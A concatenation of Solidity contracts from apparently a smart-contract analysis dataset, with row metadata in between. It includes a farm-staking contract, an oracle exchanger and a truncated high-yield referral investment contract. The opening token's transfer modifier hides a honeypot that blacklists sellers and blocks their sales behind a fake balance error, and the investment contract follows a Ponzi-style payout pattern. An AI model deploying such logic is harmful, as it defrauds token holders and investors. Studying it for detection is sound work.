_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address ownr, address spender, uint256 amount) internal virtual {
require(ownr != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[ownr][spender] = amount;
emit Approval(ownr, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _router), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _router), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 311,779 | 228 |
3021f89fef35320b428b31c95bf9825ce07af1880724814889bb2fa126bd0db8
| 15,351 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/RewardHolder-0x9cf0bb3da668f948b41b90268be9a90919ad9bcc.sol
| 3,896 | 13,727 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.7.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFarmFactory {
function userEnteredFarm(address _user) external;
function userLeftFarm(address _user) external;
function registerFarm(address _farmAddress) external;
}
contract RewardHolder {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public farmGenerator;
address public farm;
address public rewardToken;
uint256 public farmableSupply;
constructor(address _farmGenerator, address _farm) public {
farmGenerator = _farmGenerator;
farm = _farm;
}
function init(address _rewardToken, uint256 _amount) public {
address msgSender = msg.sender;
TransferHelper.safeTransferFrom(_rewardToken, msgSender, address(this), _amount);
TransferHelper.safeApprove(_rewardToken, farm, _amount);
rewardToken = _rewardToken;
farmableSupply = _amount;
}
}
contract FarmStaking {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// @notice information stuct on each user than stakes tokens.
struct UserInfo {
uint256 amount; // How many tokens the user has provided.
uint256 rewardDebt; // Reward debt.
}
/// @notice all the settings for this farm in one struct
struct FarmInfo {
IERC20 token;
IERC20 rewardToken;
address rewardHolder;
uint256 startBlock;
uint256 blockReward;
uint256 bonusEndBlock;
uint256 bonus;
uint256 endBlock;
uint256 lastRewardBlock; // Last block number that reward distribution occurs.
uint256 accRewardPerShare; // Accumulated Rewards per share, times 1e12
uint256 farmableSupply; // set in init, total amount of tokens farmable
uint256 numFarmers;
}
uint256 public farmType = 2;
IFarmFactory public factory;
address public farmGenerator;
FarmInfo public farmInfo;
/// @notice information on each user than stakes tokens
mapping (address => UserInfo) public userInfo;
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 amount);
constructor(address _factory, address _farmGenerator) public {
factory = IFarmFactory(_factory);
farmGenerator = _farmGenerator;
}
function init(address _rewardHolder, IERC20 _rewardToken, uint256 _amount, IERC20 _token, uint256 _blockReward, uint256 _startBlock, uint256 _endBlock, uint256 _bonusEndBlock, uint256 _bonus) public {
address msgSender = _msgSender();
require(msgSender == address(farmGenerator), 'FORBIDDEN');
farmInfo.rewardToken = _rewardToken;
farmInfo.rewardHolder = _rewardHolder;
farmInfo.startBlock = _startBlock;
farmInfo.blockReward = _blockReward;
farmInfo.bonusEndBlock = _bonusEndBlock;
farmInfo.bonus = _bonus;
uint256 lastRewardBlock = block.number > _startBlock ? block.number : _startBlock;
farmInfo.token = _token;
farmInfo.lastRewardBlock = lastRewardBlock;
farmInfo.accRewardPerShare = 0;
farmInfo.endBlock = _endBlock;
farmInfo.farmableSupply = _amount;
}
function getMultiplier(uint256 _from_block, uint256 _to) public view returns (uint256) {
uint256 _from = _from_block >= farmInfo.startBlock ? _from_block : farmInfo.startBlock;
uint256 to = farmInfo.endBlock > _to ? _to : farmInfo.endBlock;
if (to <= farmInfo.bonusEndBlock) {
return to.sub(_from).mul(farmInfo.bonus);
} else if (_from >= farmInfo.bonusEndBlock) {
return to.sub(_from);
} else {
return farmInfo.bonusEndBlock.sub(_from).mul(farmInfo.bonus).add(to.sub(farmInfo.bonusEndBlock));
}
}
function pendingReward(address _user) external view returns (uint256) {
UserInfo storage user = userInfo[_user];
uint256 accRewardPerShare = farmInfo.accRewardPerShare;
uint256 tokenSupply = farmInfo.token.balanceOf(address(this));
if (block.number > farmInfo.lastRewardBlock && tokenSupply != 0) {
uint256 multiplier = getMultiplier(farmInfo.lastRewardBlock, block.number);
uint256 tokenReward = multiplier.mul(farmInfo.blockReward);
accRewardPerShare = accRewardPerShare.add(tokenReward.mul(1e12).div(tokenSupply));
}
return user.amount.mul(accRewardPerShare).div(1e12).sub(user.rewardDebt);
}
function updatePool() public {
if (block.number <= farmInfo.lastRewardBlock) {
return;
}
uint256 tokenSupply = farmInfo.token.balanceOf(address(this));
if (tokenSupply == 0) {
farmInfo.lastRewardBlock = block.number < farmInfo.endBlock ? block.number : farmInfo.endBlock;
return;
}
uint256 multiplier = getMultiplier(farmInfo.lastRewardBlock, block.number);
uint256 tokenReward = multiplier.mul(farmInfo.blockReward);
farmInfo.accRewardPerShare = farmInfo.accRewardPerShare.add(tokenReward.mul(1e12).div(tokenSupply));
farmInfo.lastRewardBlock = block.number < farmInfo.endBlock ? block.number : farmInfo.endBlock;
}
function deposit(uint256 _amount) public {
address msgSender = _msgSender();
UserInfo storage user = userInfo[msgSender];
updatePool();
if (user.amount > 0) {
uint256 pending = user.amount.mul(farmInfo.accRewardPerShare).div(1e12).sub(user.rewardDebt);
safeRewardTransfer(msgSender, pending);
}
if (user.amount == 0 && _amount > 0) {
factory.userEnteredFarm(msgSender);
farmInfo.numFarmers = farmInfo.numFarmers.add(1);
}
farmInfo.token.safeTransferFrom(address(msgSender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(farmInfo.accRewardPerShare).div(1e12);
emit Deposit(msgSender, _amount);
}
function withdraw(uint256 _amount) public {
address msgSender = _msgSender();
UserInfo storage user = userInfo[msgSender];
require(user.amount >= _amount, "INSUFFICIENT");
updatePool();
if (user.amount == _amount && _amount > 0) {
factory.userLeftFarm(msgSender);
farmInfo.numFarmers = farmInfo.numFarmers.sub(1);
}
uint256 pending = user.amount.mul(farmInfo.accRewardPerShare).div(1e12).sub(user.rewardDebt);
safeRewardTransfer(msgSender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(farmInfo.accRewardPerShare).div(1e12);
farmInfo.token.safeTransfer(address(msgSender), _amount);
emit Withdraw(msgSender, _amount);
}
function emergencyWithdraw() public {
address msgSender = _msgSender();
UserInfo storage user = userInfo[msgSender];
farmInfo.token.safeTransfer(address(msgSender), user.amount);
emit EmergencyWithdraw(msgSender, user.amount);
if (user.amount > 0) {
factory.userLeftFarm(msgSender);
farmInfo.numFarmers = farmInfo.numFarmers.sub(1);
}
user.amount = 0;
user.rewardDebt = 0;
}
function safeRewardTransfer(address _to, uint256 _amount) internal {
uint256 rewardBal = farmInfo.rewardToken.balanceOf(farmInfo.rewardHolder);
if (_amount > rewardBal) {
farmInfo.rewardToken.transferFrom(farmInfo.rewardHolder, _to, rewardBal);
} else {
farmInfo.rewardToken.transferFrom(farmInfo.rewardHolder, _to, _amount);
}
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
}
| 177,964 | 229 |
ead06f296d5c8240b78cfa5975d4f38d395c42b47a45570521117b0dbb081b55
| 22,408 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x869d0969915436e67cbf0e47a2c110333f00604b.sol
| 4,229 | 15,300 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract OracleI {
bytes32 public oracleName;
bytes16 public oracleType;
uint256 public rate;
bool public waitQuery;
uint256 public updateTime;
uint256 public callbackTime;
function getPrice() view public returns (uint);
function setBank(address _bankAddress) public;
function setGasPrice(uint256 _price) public;
function setGasLimit(uint256 _limit) public;
function updateRate() external returns (bool);
}
interface ExchangerI {
function buyTokens(address _recipient) payable public;
function sellTokens(address _recipient, uint256 tokensCount) public;
function requestRates() payable public;
function calcRates() public;
function tokenBalance() public view returns(uint256);
function getOracleData(uint number) public view returns (address, bytes32, bytes16, bool, uint256, uint256, uint256);
function refillBalance() payable public;
function withdrawReserve() public;
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract LibreCash is MintableToken, BurnableToken, Claimable {
string public constant name = "LibreCash";
string public constant symbol = "Libre";
uint32 public constant decimals = 18;
}
contract ComplexExchanger is ExchangerI {
using SafeMath for uint256;
address public tokenAddress;
LibreCash token;
address[] public oracles;
uint256 public deadline;
address public withdrawWallet;
uint256 public requestTime;
uint256 public calcTime;
uint256 public buyRate;
uint256 public sellRate;
uint256 public buyFee;
uint256 public sellFee;
uint256 constant ORACLE_ACTUAL = 15 minutes;
uint256 constant ORACLE_TIMEOUT = 10 minutes;
// RATE_PERIOD should be greater than or equal to ORACLE_ACTUAL
uint256 constant RATE_PERIOD = 15 minutes;
uint256 constant MIN_READY_ORACLES = 2;
uint256 constant FEE_MULTIPLIER = 100;
uint256 constant RATE_MULTIPLIER = 1000;
uint256 constant MAX_RATE = 5000 * RATE_MULTIPLIER;
uint256 constant MIN_RATE = 100 * RATE_MULTIPLIER;
event InvalidRate(uint256 rate, address oracle);
event OracleRequest(address oracle);
event Buy(address sender, address recipient, uint256 tokenAmount, uint256 price);
event Sell(address sender, address recipient, uint256 cryptoAmount, uint256 price);
event ReserveRefill(uint256 amount);
event ReserveWithdraw(uint256 amount);
enum State {
LOCKED,
PROCESSING_ORDERS,
WAIT_ORACLES,
CALC_RATES,
REQUEST_RATES
}
function() payable public {
buyTokens(msg.sender);
}
function ComplexExchanger(address _token,
uint256 _buyFee,
uint256 _sellFee,
address[] _oracles,
uint256 _deadline,
address _withdrawWallet) public
{
require(_withdrawWallet != address(0x0) &&
_token != address(0x0) &&
_deadline > now &&
_oracles.length >= MIN_READY_ORACLES);
tokenAddress = _token;
token = LibreCash(tokenAddress);
oracles = _oracles;
buyFee = _buyFee;
sellFee = _sellFee;
deadline = _deadline;
withdrawWallet = _withdrawWallet;
}
function getState() public view returns (State) {
if (now >= deadline)
return State.LOCKED;
if (now - calcTime < RATE_PERIOD)
return State.PROCESSING_ORDERS;
if (waitingOracles() != 0)
return State.WAIT_ORACLES;
if (readyOracles() >= MIN_READY_ORACLES)
return State.CALC_RATES;
return State.REQUEST_RATES;
}
function buyTokens(address _recipient) public payable {
require(getState() == State.PROCESSING_ORDERS);
uint256 availableTokens = tokenBalance();
require(availableTokens > 0);
uint256 tokensAmount = msg.value.mul(buyRate) / RATE_MULTIPLIER;
require(tokensAmount != 0);
uint256 refundAmount = 0;
// if recipient set as 0x0 - recipient is sender
address recipient = _recipient == 0x0 ? msg.sender : _recipient;
if (tokensAmount > availableTokens) {
refundAmount = tokensAmount.sub(availableTokens).mul(RATE_MULTIPLIER) / buyRate;
tokensAmount = availableTokens;
}
token.transfer(recipient, tokensAmount);
Buy(msg.sender, recipient, tokensAmount, buyRate);
if (refundAmount > 0)
recipient.transfer(refundAmount);
}
function sellTokens(address _recipient, uint256 tokensCount) public {
require(getState() == State.PROCESSING_ORDERS);
require(tokensCount <= token.allowance(msg.sender, this));
uint256 cryptoAmount = tokensCount.mul(RATE_MULTIPLIER) / sellRate;
require(cryptoAmount != 0);
if (cryptoAmount > this.balance) {
uint256 extraTokens = (cryptoAmount - this.balance).mul(sellRate) / RATE_MULTIPLIER;
cryptoAmount = this.balance;
tokensCount = tokensCount.sub(extraTokens);
}
token.transferFrom(msg.sender, this, tokensCount);
address recipient = _recipient == 0x0 ? msg.sender : _recipient;
Sell(msg.sender, recipient, cryptoAmount, sellRate);
recipient.transfer(cryptoAmount);
}
function requestRates() public payable {
require(getState() == State.REQUEST_RATES);
// Or just sub msg.value
// If it will be below zero - it will throw revert()
// require(msg.value >= requestPrice());
uint256 value = msg.value;
for (uint256 i = 0; i < oracles.length; i++) {
OracleI oracle = OracleI(oracles[i]);
uint callPrice = oracle.getPrice();
// If oracle needs funds - refill it
if (oracles[i].balance < callPrice) {
value = value.sub(callPrice);
oracles[i].transfer(callPrice);
}
if (oracle.updateRate())
OracleRequest(oracles[i]);
}
requestTime = now;
if (value > 0)
msg.sender.transfer(value);
}
function requestPrice() public view returns(uint256) {
uint256 requestCost = 0;
for (uint256 i = 0; i < oracles.length; i++) {
requestCost = requestCost.add(OracleI(oracles[i]).getPrice());
}
return requestCost;
}
function calcRates() public {
require(getState() == State.CALC_RATES);
uint256 minRate = 2**256 - 1; // Max for UINT256
uint256 maxRate = 0;
uint256 validOracles = 0;
for (uint256 i = 0; i < oracles.length; i++) {
OracleI oracle = OracleI(oracles[i]);
uint256 rate = oracle.rate();
if (oracle.waitQuery()) {
continue;
}
if (isRateValid(rate)) {
minRate = Math.min256(rate, minRate);
maxRate = Math.max256(rate, maxRate);
validOracles++;
} else {
InvalidRate(rate, oracles[i]);
}
}
// If valid rates data is insufficient - throw
if (validOracles < MIN_READY_ORACLES)
revert();
buyRate = minRate.mul(FEE_MULTIPLIER * RATE_MULTIPLIER - buyFee * RATE_MULTIPLIER / 100) / FEE_MULTIPLIER / RATE_MULTIPLIER;
sellRate = maxRate.mul(FEE_MULTIPLIER * RATE_MULTIPLIER + sellFee * RATE_MULTIPLIER / 100) / FEE_MULTIPLIER / RATE_MULTIPLIER;
calcTime = now;
}
function oracleCount() public view returns(uint256) {
return oracles.length;
}
function tokenBalance() public view returns(uint256) {
return token.balanceOf(address(this));
}
function getOracleData(uint number)
public
view
returns (address, bytes32, bytes16, bool, uint256, uint256, uint256)
{
OracleI curOracle = OracleI(oracles[number]);
return(oracles[number],
curOracle.oracleName(),
curOracle.oracleType(),
curOracle.waitQuery(),
curOracle.updateTime(),
curOracle.callbackTime(),
curOracle.rate());
}
function readyOracles() public view returns (uint256) {
uint256 count = 0;
for (uint256 i = 0; i < oracles.length; i++) {
OracleI oracle = OracleI(oracles[i]);
if ((oracle.rate() != 0) &&
!oracle.waitQuery() &&
(now - oracle.updateTime()) < ORACLE_ACTUAL)
count++;
}
return count;
}
function waitingOracles() public view returns (uint256) {
uint256 count = 0;
for (uint256 i = 0; i < oracles.length; i++) {
if (OracleI(oracles[i]).waitQuery() && (now - requestTime) < ORACLE_TIMEOUT) {
count++;
}
}
return count;
}
function withdrawReserve() public {
require(getState() == State.LOCKED && msg.sender == withdrawWallet);
ReserveWithdraw(this.balance);
withdrawWallet.transfer(this.balance);
token.burn(tokenBalance());
}
function refillBalance() public payable {
ReserveRefill(msg.value);
}
function isRateValid(uint256 rate) internal pure returns(bool) {
return rate >= MIN_RATE && rate <= MAX_RATE;
}
}
| 178,273 | 230 |
9683fd932d37150a89ccf125ce8b31460ca91b3288acf794aa87b2dc4a39bc85
| 20,759 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TC/TCgurt6ENusNkGpB1pHEyPkYFKeS7QUaK7_TronlinkPro.sol
| 5,022 | 19,383 |
//SourceUnit: MAIN_TRONLINKPRO.sol
pragma solidity ^0.5.10;
//
//
//
//
//
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract TronlinkPro {
using SafeMath for uint;
uint constant public DEPOSITS_MAX = 100;
uint constant public INVEST_MIN_AMOUNT = 100 trx;
uint constant public INVEST_MAX_AMOUNT = 4000000 trx;
uint constant public BASE_PERCENT = 100;
uint[] public REFERRAL_PERCENTS = [700, 300, 150, 100, 50, 50, 50, 40, 30, 20, 10];
uint constant public PROJECT_FEE = 500;
uint constant public CREATOR_FEE = 500;
uint constant public WITHDRAW_FEE = 500;
uint constant public MAX_CONTRACT_PERCENT = 100;
uint constant public MAX_LEADER_PERCENT = 50;
uint constant public MAX_COMMUNITY_PERCENT = 50;
uint constant public MAX_HOLD_PERCENT = 50;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public CONTRACT_BALANCE_STEP = 80000000 trx;
uint constant public LEADER_BONUS_STEP = 20000000 trx;
uint constant public COMMUNITY_BONUS_STEP = 50000;
uint constant public TIME_STEP = 1 days;
uint constant public EXTRA_BONUS = 50;
address payable public projectAddress;
address payable public creatorAddress;
uint public totalInvested;
uint public totalDeposits;
uint public totalWithdrawn;
uint public contractPercent;
uint public contractCreationTime;
uint public totalRefBonus;
address payable public owner;
uint public totalParticipants;
uint public activeParticipants;
struct Deposit {
uint64 amount;
uint32 start;
}
struct Withdraw {
uint64 withdrawn_roi;
uint64 withdrawn_ref;
uint64 withdrawn_extra;
uint32 time;
}
struct User {
Deposit[] deposits;
Withdraw[] withdraws;
uint total_business;
uint32 team_members;
uint32 checkpoint;
address referrer;
uint64 wallet;
uint64 total_user_deposit;
uint64 total_user_withdrawn;
uint64 bonus;
uint24[11] refs;
address[] referee_list;
}
mapping (address => User) internal users;
event Newbie(address user);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint withdraw_amt, uint withdraw_fees);
event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
event FeePayed(address indexed user, uint totalAmount);
constructor(address payable projectAddr, address payable creatorAddr) public {
require(!isContract(creatorAddr) && !isContract(projectAddr));
projectAddress = projectAddr;
creatorAddress = creatorAddr;
contractCreationTime = block.timestamp;
owner = msg.sender;
contractPercent = getContractBalanceRate();
}
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint) {
uint contractBalance = address(this).balance;
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(20));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getLeaderBonusRate() public view returns (uint) {
uint leaderBonusPercent = totalRefBonus.div(LEADER_BONUS_STEP).mul(10);
if (leaderBonusPercent < MAX_LEADER_PERCENT) {
return leaderBonusPercent;
} else {
return MAX_LEADER_PERCENT;
}
}
function getCommunityBonusRate() public view returns (uint) {
uint communityBonusRate = totalDeposits.div(COMMUNITY_BONUS_STEP).mul(10);
if (communityBonusRate < MAX_COMMUNITY_PERCENT) {
return communityBonusRate;
} else {
return MAX_COMMUNITY_PERCENT;
}
}
modifier validSender() {
require(!isContract(msg.sender) && msg.sender == tx.origin, "Sender Address error!");
require(msg.value >= INVEST_MIN_AMOUNT && msg.value <= INVEST_MAX_AMOUNT, "Bad Deposit");
_;
}
function invest(address referrer) validSender public payable {
bool flag = isActive(msg.sender);
uint msgValue = msg.value;
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 100 deposits from address");
uint projectFee = msgValue.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
uint creatorFee = msgValue.mul(CREATOR_FEE).div(PERCENTS_DIVIDER);
msgValue = msgValue.sub(projectFee.add(creatorFee));
emit FeePayed(msg.sender, projectFee.add(creatorFee));
projectAddress.transfer(projectFee);
creatorAddress.transfer(creatorFee);
